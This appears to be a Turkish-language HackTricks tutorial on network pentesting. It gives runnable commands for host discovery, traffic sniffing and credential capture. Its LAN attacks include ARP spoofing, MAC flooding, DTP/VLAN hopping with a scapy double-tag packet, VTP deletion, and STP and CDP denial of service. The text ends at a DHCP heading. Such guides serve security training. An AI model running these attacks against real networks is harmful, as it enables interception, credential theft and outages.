.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
Ağın Pentest Edilmesi
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'i takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Bounty ipucu: Hackerlar tarafından oluşturulan premium bir bounty platformu olan Intigriti'ye kaydolun! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'e kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
Dışarıdan Hostların Keşfedilmesi
Bu, İnternet'ten yanıt veren IP'leri bulmanın kısa bir bölümü olacak.
Bu durumda, bazı IP aralıklarına (belki de birkaç aralık) sahipsiniz ve sadece hangi IP'lerin yanıt verdiğini bulmanız gerekiyor.
ICMP
Bir ana bilgisayarın çalışıp çalışmadığını keşfetmenin en kolay ve en hızlı yolu budur.
Bazı ICMP paketleri göndermeyi deneyebilir ve yanıtlar bekleyebilirsiniz. En kolay yol, sadece bir echo isteği göndermek ve yanıt beklemektir. Bunun için basit bir ping
veya aralıklar için fping
kullanabilirsiniz.
Ayrıca nmap kullanarak diğer türde ICMP paketleri gönderebilirsiniz (bu, yaygın ICMP echo isteği-yanıtına filtrelerin uygulanmasını engelleyecektir).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Keşfi
Çoğu zaman, tüm türdeki ICMP paketlerinin filtrelenmiş olduğunu görmek oldukça yaygındır. Bu durumda, bir ana bilgisayarın çalışıp çalışmadığını kontrol etmek için yapabileceğiniz tek şey, açık portları bulmaya çalışmaktır. Her bir ana bilgisayarın 65535 portu bulunmaktadır, bu yüzden "büyük" bir kapsama sahipseniz, her bir ana bilgisayarın her bir portunu açık veya kapalı olup olmadığına test edemezsiniz, bu çok fazla zaman alır.
Bu durumda ihtiyacınız olan şey, hızlı bir port tarama aracı (masscan) ve daha sık kullanılan portların bir listesi:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Bu adımı nmap
ile de gerçekleştirebilirsiniz, ancak daha yavaş ve nmap
'in hostları tanımlama konusunda sorunları olabilir.
HTTP Port Keşfi
Bu, HTTP hizmetlerini keşfetmeye odaklanmak istediğinizde kullanışlı olan bir TCP port keşfidir:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Keşfi
Bir ana bilgisayara daha fazla dikkat etmeniz gerekip gerekmediğini belirlemek için açık UDP portlarını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle düzenli bir boş UDP sorgu paketine herhangi bir veriyle yanıt vermediği için bir portun filtrelenip açık olup olmadığını söylemek zordur. Bunun için en kolay yol, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, olasılığa dayanarak en olası hizmeti denemelisiniz, port numarasına göre:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Önerilen nmap komutu, /24 aralığındaki her bir ana bilgisayarda en üst 1000 UDP portunu test edecektir, ancak sadece bu bile >20 dakika sürecektir. Eğer en hızlı sonuçlara ihtiyacınız varsa, udp-proto-scanner aracını kullanabilirsiniz: ./udp-proto-scanner.pl 199.66.11.53/24
Bu, bu UDP sorgularını beklenen bağlantı noktalarına gönderecektir (bir /24 aralığı için sadece 1 dakika sürecektir): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Port Keşfi
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Wifi Pentest
İşte yazıldığı zaman bilinen tüm Wifi saldırılarının güzel bir rehberini bulabilirsiniz:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
İçeriden Host Keşfi
Ağın içindeyseniz yapmak isteyeceğiniz ilk şeylerden biri diğer hostları keşfetmek olacaktır. Ne kadar gürültü yapmak istediğinize bağlı olarak farklı eylemler gerçekleştirilebilir:
Pasif
Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktif
Dışarıdan sunucuları keşfetme teknikleri hakkında yapılan yorumlar Dışarıdan sunucuları keşfetme (TCP/HTTP/UDP/SCTP Port Keşfi) bölümünde de burada uygulanabilir.
Ancak, diğer sunucularla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktif ICMP
Dikkat edilmesi gereken nokta, Dışarıdan ana bilgisayarları keşfetme başlığında bahsedilen tekniklerin (ICMP) burada da uygulanabileceğidir.
Ancak, diğer ana bilgisayarlarla aynı ağda olduğunuz için daha fazla şey yapabilirsiniz:
- Eğer bir alt ağ yayın adresine ping atarsanız, ping her bir ana bilgisayara ulaşmalı ve onlar da size yanıt verebilir:
ping -b 10.10.5.255
- Ağ yayın adresine ping atarak, diğer alt ağlardaki ana bilgisayarları bile bulabilirsiniz:
ping -b 255.255.255.255
nmap
'in-PE
,-PP
,-PM
bayraklarını kullanarak, sırasıyla ICMPv4 echo, zaman damgası ve alt ağ maskesi istekleri göndererek ana bilgisayar keşfi yapabilirsiniz:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan, bir ağ mesajı aracılığıyla bilgisayarları açmak için kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, sadece bir MAC Dst adresinin sağlandığı ve ardından aynı paket içinde 16 kez tekrarlandığı bir pakettir.
Bu tür paketler genellikle bir ethernet 0x0842 veya 9 numaralı bağlantı noktasına UDP paketi olarak gönderilir.
Eğer bir [MAC] sağlanmazsa, paket yayın ethernetine gönderilir (ve tekrarlanacak yayın MAC adresi olur).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Host Tarama
Derinlemesine taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı eylemler gerçekleştirilebilir.
TCP
- Açık port: SYN --> SYN/ACK --> RST
- Kapalı port: SYN --> RST/ACK
- Filtrelenmiş port: SYN --> [YANIT YOK]
- Filtrelenmiş port: SYN --> ICMP mesajı
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Bir UDP portunu taramak için 2 seçenek vardır:
- Bir UDP paketi gönderin ve port kapalı ise yanıt olarak ICMP erişilemez mesajını kontrol edin (birçok durumda ICMP filtrelenir bu yüzden port kapalı veya açık ise herhangi bir bilgi alamazsınız).
- Bir hizmetten (örneğin DNS, DHCP, TFTP ve diğerleri, nmap-payloads listesinde belirtilenler gibi) yanıt almak için biçimlendirilmiş datagramlar gönderin. Bir yanıt alırsanız, port açıktır.
Nmap, "-sV" kullanarak her iki seçeneği de karıştıracaktır (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Taraması
SCTP (Akış Kontrol İletim Protokolü), TCP (Aktarım Kontrol Protokolü) ve UDP (Kullanıcı Datagram Protokolü) ile birlikte kullanılmak üzere tasarlanmıştır. Temel amacı, IP ağları üzerinden telefon verilerinin iletimini kolaylaştırmaktır ve Sinyal Sistemi 7 (SS7)'de bulunan birçok güvenilirlik özelliğini yansıtmaktadır. SCTP, SS7 sinyallerini IP ağları üzerinden taşımak amacıyla oluşturulan SIGTRAN protokol ailesinin temel bir bileşenidir.
SCTP desteği, IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS ve VxWorks gibi çeşitli işletim sistemleri tarafından sağlanmaktadır, bu da telekomünikasyon ve ağ alanında geniş kabul ve kullanılabilirliğini göstermektedir.
Nmap tarafından SCTP için sunulan iki farklı tarama seçeneği vardır: -sY ve -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS ve IPS kaçınma
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Daha fazla nmap seçeneği
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
İç IP Adreslerini Ortaya Çıkarma
Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları bazen ağ taramalarına kamu dışı kaynak adresleri kullanarak yanıt verebilir. tcpdump, test sırasında özel adreslerden alınan paketleri tespit etmek için kullanılabilir. Özellikle Kali Linux üzerinde, paketler eth2 arayüzü üzerinde yakalanabilir ve bu arayüz halka açık internetten erişilebilir. Ancak, kurulumunuz bir NAT veya bir Güvenlik Duvarı arkasında ise, bu tür paketlerin filtrelenmesi muhtemeldir.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing (Kokuşma)
Kokuşma, yakalanan çerçeveler ve paketlerin incelenmesi yoluyla IP aralıklarının, alt ağ boyutlarının, MAC adreslerinin ve ana bilgisayar adlarının ayrıntılarını öğrenebilmenizi sağlar. Ağ yanlış yapılandırılmış veya anahtarlamalı yapı stres altında ise saldırganlar, pasif ağ kokuşması yoluyla hassas materyalleri yakalayabilirler.
Eğer bir anahtarlamalı Ethernet ağı doğru şekilde yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresinize yönlendirilen materyalleri göreceksiniz.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Ayrıca, Wireshark'ı GUI olarak kullanarak SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilirsiniz.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap, a powerful network tool, is used for network monitoring, analysis, and attacks. It provides a wide range of features and capabilities for pentesting purposes. Bettercap can be used to perform various tasks such as sniffing network traffic, conducting man-in-the-middle attacks, and performing DNS spoofing. It also supports plugins, allowing users to extend its functionality. Bettercap is a valuable tool for both offensive and defensive security professionals.
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Açıkçası.
Kimlik bilgilerini yakalama
https://github.com/lgandx/PCredz gibi araçları kullanarak kimlik bilgilerini bir pcap veya canlı bir arayüzden ayrıştırabilirsiniz.
LAN saldırıları
ARP sahtekarlığı
ARP sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC adresine sahip olduğunu göstermek için gereksiz ARP yanıtları göndermekten oluşur. Ardından, kurban ARP tablosunu değiştirecek ve sahte IP'yi iletişim kurmak istediğinde her seferinde makinemize başvuracaktır.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof, ağ üzerindeki ARP tablosunu manipüle etmek için kullanılan bir araçtır. Bu araç, saldırganın ağ trafiğini yönlendirmesine ve ağdaki diğer cihazları yanıltmasına olanak tanır. Arpspoof, MITM (Man-in-the-Middle) saldırıları gerçekleştirmek için sıklıkla kullanılır. Bu saldırı türünde, saldırgan, hedef cihazın ARP tablosunu manipüle ederek, hedef cihazın ağ trafiğini saldırganın kontrol ettiği bir ara sunucuya yönlendirir. Bu sayede saldırgan, hedef cihazın ağ trafiğini izleyebilir, değiştirebilir veya çalabilir. Arpspoof, ağ güvenlik testlerinde ve etik hackleme (pentesting) faaliyetlerinde kullanılan yaygın bir araçtır.
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM taşması
Anahtarı CAM tablosunu taşarak, farklı kaynak MAC adresleriyle birçok paket gönderin. CAM tablosu dolu olduğunda anahtar, tüm trafiği yayınlayan bir hub gibi davranmaya başlar.
macof -i <interface>
Modern switchlerde bu zafiyet giderilmiştir.
802.1Q VLAN / DTP Saldırıları
Dinamik Trunking
Dinamik Trunking Protokolü (DTP), anahtarlamayı otomatikleştirmek için tasarlanmış bir bağlantı katmanı protokolüdür. Bu protokol, anahtarların otomatik olarak trunk modu (Trunk) veya non-trunk modu için portları seçmesine olanak tanır. DTP'nin kullanılması genellikle alt-optimal ağ tasarımının bir göstergesi olarak görülür ve sadece gerektiği yerlerde trunck'ların manuel olarak yapılandırılması ve uygun belgelemenin sağlanması önemlidir.
Varsayılan olarak, anahtar portları Dinamik Otomatik modunda çalışacak şekilde ayarlanır, yani komşu bir anahtar tarafından istendiğinde trunking'i başlatabilecek durumdadır. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP Desirable çerçevesi gönderdiğinde, portun trunk moduna girmesi sağlanır. Bu eylem, saldırganın STP çerçeve analizi aracılığıyla VLAN'ları numaralandırmasına ve sanal arayüzler kurarak VLAN segmentasyonunu atlamasına olanak tanır.
Birçok anahtarın varsayılan olarak DTP'yi içermesi, saldırganların bir anahtarın davranışını taklit ederek tüm VLAN'lardaki trafiğe erişim elde etmesini sağlayabilir. dtpscan.sh adlı betik, bir arabirimi izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını ortaya çıkarır - sonuncusu VLAN atlama saldırılarına karşı bağışıklık sağlayan tek yapılandırmadır. Bu araç, anahtarın zafiyet durumunu değerlendirir.
Ağ zafiyeti tespit edildiğinde, Yersinia aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu sayede tüm VLAN'lardan gelen paketlerin gözlemlenmesine olanak tanır.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
VLAN'ları numaralandırmak için DTPHijacking.py** adlı betikle DTP Desirable çerçevesi oluşturmak da mümkündür.** Betiği hiçbir durumda kesmeyin. Her üç saniyede bir DTP Desirable enjekte eder. Anahtar üzerinde dinamik olarak oluşturulan trunk kanalları sadece beş dakika boyunca aktiftir. Beş dakika sonra trunk düşer.
sudo python3 DTPHijacking.py --interface eth0
Erişim/İstenilen (0x03) ifadesi, DTP çerçevesinin İstenilen türde olduğunu ve bağlantı noktasının Trunk moduna geçmesini söylediğini belirtir. Ve 802.1Q/802.1Q (0xa5), 802.1Q kapsülleme türünü belirtir.
STP çerçevelerini analiz ederek, VLAN 30 ve VLAN 60'ın varlığı hakkında bilgi ediniriz.
Belirli VLAN'lara Saldırma
VLAN kimlikleri ve IP değerlerini bildiğinizde, belirli bir VLAN'a saldırmak için sanal bir arayüz yapılandırabilirsiniz.
DHCP kullanılamıyorsa, ifconfig kullanarak bir statik IP adresi ayarlayın.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Otomatik VLAN Atlama
Dinamik Trunking saldırısı ve diğer VLAN'ların içindeki sanal arayüzler oluşturma ve hostları keşfetme konusu, https://github.com/nccgroup/vlan-hopping---frogger adlı araç tarafından otomatik olarak gerçekleştirilir.
Çift Etiketleme
Bir saldırgan, hedef ana bilgisayarın MAC, IP ve VLAN Kimliği değerlerini bildiği takdirde, belirlenen VLAN ve hedefin VLAN'ıyla birlikte bir çerçeveyi çift etiketleyebilir ve bir paket gönderebilir. Hedef, saldırganla geri bağlantı kuramayacağından, saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır. Bu şekilde, SNMP gibi bazı ilginç eylemler gerçekleştirebilen protokollere yönlendirme yapılabilir.
Saldırganın başka bir seçeneği, saldırgan tarafından kontrol edilen ve hedef tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır. Ardından, saldırgan, ikinci bir ana bilgisayarda sahip olduğu hedeften gelen bazı paketleri dinleyebilir.
Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentasyonu Atlama
Eğer doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa, ağ içindeki VLAN segmentasyonunu atlama yeteneğine sahipsiniz. Basitçe, portu trunk moduna (diğer adıyla trunk) geçirin, hedef VLAN'ların kimlikleriyle sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep edebilir veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Katman 3 Özel VLAN Atlama
Misafir kablosuz ağları gibi belirli ortamlarda, istemci cihazların doğrudan birbirleriyle iletişim kurmasını engellemek için port izolasyonu (ayrıca özel VLAN olarak da bilinir) ayarları uygulanır. Ancak, bu izolasyon önlemlerini atlatabilen bir teknik tespit edilmiştir. Bu teknik, ağ ACL'lerinin eksikliğini veya yanlış yapılandırılmasını sömürerek, IP paketlerinin bir yönlendirici üzerinden başka bir istemciye ulaşmasını sağlar.
Saldırı, hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresini içeren bir paketin oluşturulmasıyla gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmelerine neden olur. Bu yaklaşım, Kurbanın erişilebilir olduğu bir ana bilgisayarı kontrol etme yeteneğinin kullanıldığı Çift Etiketleme Saldırılarında kullanılan yaklaşıma benzer şekilde güvenlik açığını sömürmek için kullanılır.
Saldırının Temel Adımları:
- Paket Oluşturma: Hedef istemcinin IP adresini, ancak yönlendiricinin MAC adresini içeren bir paket özel olarak oluşturulur.
- Yönlendirici Davranışının Sömürülmesi: Oluşturulan paket, özel VLAN ayarları tarafından sağlanan izolasyonu atlayarak hedef istemciye yönlendiriciye gönderilir.
VTP Saldırıları
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyen daha yüksek revizyon numaralarına sahip yapılandırmaları benimserler.
VTP Etki Alanı Rolleri
- VTP Sunucusu: VLAN'ları yönetir - oluşturur, siler, değiştirir. VTP duyurularını etki alanı üyelerine yayınlar.
- VTP İstemcisi: VTP duyurularını alarak VLAN veritabanını senkronize eder. Bu rol, yerel VLAN yapılandırma değişikliklerinden etkilenmez.
- VTP Şeffaf: VTP güncellemelerine katılmaz, ancak VTP duyurularını ileterek ileri yönlendirir. VTP saldırılarından etkilenmez, sürekli bir sıfır revizyon numarası korur.
VTP Duyuru Türleri
- Özet Duyurusu: VTP sunucusu tarafından her 300 saniyede bir yayınlanır, temel etki alanı bilgilerini taşır.
- Alt Küme Duyurusu: VLAN yapılandırma değişikliklerini takiben gönderilir.
- Duyuru İsteği: VTP istemcisi tarafından bir Özet Duyurusu istemek için yayınlanır, genellikle daha yüksek bir yapılandırma revizyon numarası tespit edildiğinde yanıt olarak.
VTP zafiyetleri yalnızca trunk portları aracılığıyla sömürülebilir, çünkü VTP duyuruları yalnızca bunlar arasında dolaşır. DTP sonrası saldırı senaryoları VTP'ye yönelebilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyen VTP saldırılarını kolaylaştırabilir ve ağı etkisiz hale getirebilir.
Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.
%% yersinia -G # Launch Yersinia in graphical mode ```
Yersinia'nın grafiksel modunda, VLAN veritabanını temizlemek için tüm VTP VLAN'larını silme seçeneğini seçin.
STP Saldırıları
Arayüzlerinizde BPDU çerçevelerini yakalayamazsanız, STP saldırısında başarılı olmanız olası değildir.
STP BPDU DoS
Çok sayıda BPDUs TCP (Topology Change Notification) veya Conf (topoloji oluşturulduğunda gönderilen BPDUs) göndererek, anahtarlar aşırı yüklenir ve doğru şekilde çalışmayı durdurur.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Saldırısı
Bir TCP gönderildiğinde, anahtarların CAM tablosu 15 saniye içinde silinir. Ardından, sürekli olarak bu tür paketler gönderiyorsanız, CAM tablosu sürekli olarak yeniden başlatılır (veya her 15 saniyede bir) ve yeniden başlatıldığında anahtar hub gibi davranır.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Kök Saldırısı
Saldırgan, ağın STP kökü olmak için bir anahtarın davranışını taklit eder. Ardından, daha fazla veri onun üzerinden geçer. Bu, farklı iki anahtara bağlı olduğunuzda ilginç olabilir.
Bu, BPDUs CONF paketleri göndererek yapılır ve bu paketlerdeki öncelik değeri, gerçek kök anahtarın gerçek önceliğinden daha düşük olduğu belirtilir.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafiği üzerinden geçirebilir (bir MITM saldırısı gerçekleştirilecektir).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Saldırıları
CISCO Discovery Protocol (CDP), CISCO cihazları arasındaki iletişim için önemlidir ve cihazların birbirlerini tanımasını ve yapılandırma ayrıntılarını paylaşmasını sağlar.
Pasif Veri Toplama
CDP, tüm portlardan bilgi yayınlamak üzere yapılandırılmıştır, bu da bir güvenlik riskine yol açabilir. Bir saldırgan, bir anahtara bağlandığında Wireshark, tcpdump veya Yersinia gibi ağ dinleyicilerini kullanabilir. Bu eylem, ağ cihazı hakkında hassas verileri ortaya çıkarabilir, bunlar arasında cihazın modeli ve çalıştığı Cisco IOS sürümü bulunur. Saldırgan daha sonra belirlenen Cisco IOS sürümündeki belirli güvenlik açıklarına odaklanabilir.
CDP Tablosu Sel Saldırısı Yaratma
Daha saldırgan bir yaklaşım, meşru CISCO cihazları gibi davranarak anahtarın belleğini aşırı yükleyerek Bir Hizmet Reddi (DoS) saldırısı başlatmaktır. Aşağıda, test için tasarlanmış bir ağ aracı olan Yersinia'yı kullanarak böyle bir saldırıyı başlatmak için komut dizisi bulunmaktadır:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu aşırı kaynak tüketimi nedeniyle sık sık "ağ felci" olarak adlandırılan duruma yol açar.
CDP Kimlik Taklit Saldırısı
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
scapy kullanabilirsiniz. scapy/contrib
paketini kurduğunuzdan emin olun.
VoIP Saldırıları ve VoIP Hopper Aracı
IoT cihazlarla giderek daha fazla entegre olan VoIP telefonlar, özel telefon numaraları aracılığıyla kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
voiphopper aracı, çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak ses ağındaki VLAN ID'sini keşfeder.
VoIP Hopper, Cisco Discovery Protocol (CDP) için üç mod sunar:
- Sniff Modu (
-c 0
): Ağ paketlerini analiz ederek VLAN ID'sini belirler. - Spoof Modu (
-c 1
): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur. - Önceden Oluşturulmuş Paket ile Spoof Modu (
-c 2
): Belirli bir Cisco IP telefon modelinin paketlerini gönderir.
Hız için tercih edilen mod üçüncü moddur. Belirtmeniz gerekenler:
- Saldırganın ağ arayüzü (
-i
parametresi). - Taklit edilen VoIP cihazının adı (
-E
parametresi), Cisco adlandırma formatına uygun olmalıdır (örneğin, MAC adresini takiben SEP).
Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunları yapabilirsiniz:
- Telefonun üzerindeki MAC etiketini inceleyin.
- Model bilgisini görüntülemek için telefonun ekran ayarlarına gidin.
- VoIP cihazını bir dizüstü bilgisayara bağlayın ve Wireshark kullanarak CDP isteklerini gözlemleyin.
Üçüncü modda aracı çalıştırmak için örnek bir komut:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP Saldırıları
Tespit
DHCP saldırıları, ağdaki DHCP (Dynamic Host Configuration Protocol) sunucusunu hedef alır. Bu saldırılar, ağdaki IP adreslerini, ağ geçitlerini ve diğer ağ yapılandırmalarını ele geçirmeyi amaçlar. Bu bölümde, DHCP saldırıları için kullanılan bazı yaygın teknikler açıklanmaktadır.
DHCP Starvation
